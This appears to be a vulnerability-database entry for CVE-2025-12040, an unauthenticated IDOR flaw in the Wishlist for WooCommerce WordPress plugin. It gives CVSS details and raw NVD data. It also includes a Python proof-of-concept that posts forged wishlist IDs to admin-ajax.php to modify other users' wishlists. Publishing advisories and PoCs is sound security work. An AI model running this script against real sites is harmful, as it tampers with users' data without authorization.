Security Vulnerability Report
中文
CVE-2025-12040 CVSS 6.5 MEDIUM

CVE-2025-12040

Published: 2025-11-25 08:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Wishlist for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.1.3 via several functions in class-th-wishlist-frontend.php due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to modify other user's wishlists

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Wishlist for WooCommerce plugin <= 1.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12040 PoC - Wishlist for WooCommerce IDOR # Target: WordPress site with vulnerable Wishlist for WooCommerce plugin import requests import sys TARGET_URL = "http://target-wordpress-site.com" def exploit_idor(): """ Exploit IDOR vulnerability in Wishlist for WooCommerce plugin to modify other users' wishlists without authentication. """ # Step 1: Identify target WordPress and WooCommerce installation # Check if the plugin is active by accessing the plugin endpoint # Step 2: Enumerate or guess wishlist IDs # Wishlist IDs can be sequential or based on user registration order # Step 3: Add item to victim's wishlist (IDOR attack) # The vulnerable endpoint lacks proper ownership validation # Example: Add product to wishlist without owning it vulnerable_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Attack payload - modify the wishlist_id to target victim's wishlist attack_data = { "action": "th_wishlist_add_to_wishlist", "product_id": "123", # Target product ID "wishlist_id": "VICTIM_WISHLIST_ID", # IDOR: Point to victim's wishlist "quantity": 1 } try: # Send malicious request without authentication response = requests.post(vulnerable_endpoint, data=attack_data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print(f"[*] Response: {response.text}") print("[!] Victim's wishlist may have been modified") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") def main(): if len(sys.argv) > 1: global TARGET_URL TARGET_URL = sys.argv[1] print("[*] CVE-2025-12040 PoC - Wishlist for WooCommerce IDOR") print("[*] Target:", TARGET_URL) exploit_idor() if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12040", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:47.933", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Wishlist for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.1.3 via several functions in class-th-wishlist-frontend.php due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to modify other user's wishlists"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3402486%40th-wishlist&new=3402486%40th-wishlist&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/th-wishlist/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6d7c8f79-4dfd-4d6f-b533-dc7a5998dfc1?source=cve", "source": "[email protected]"}]}}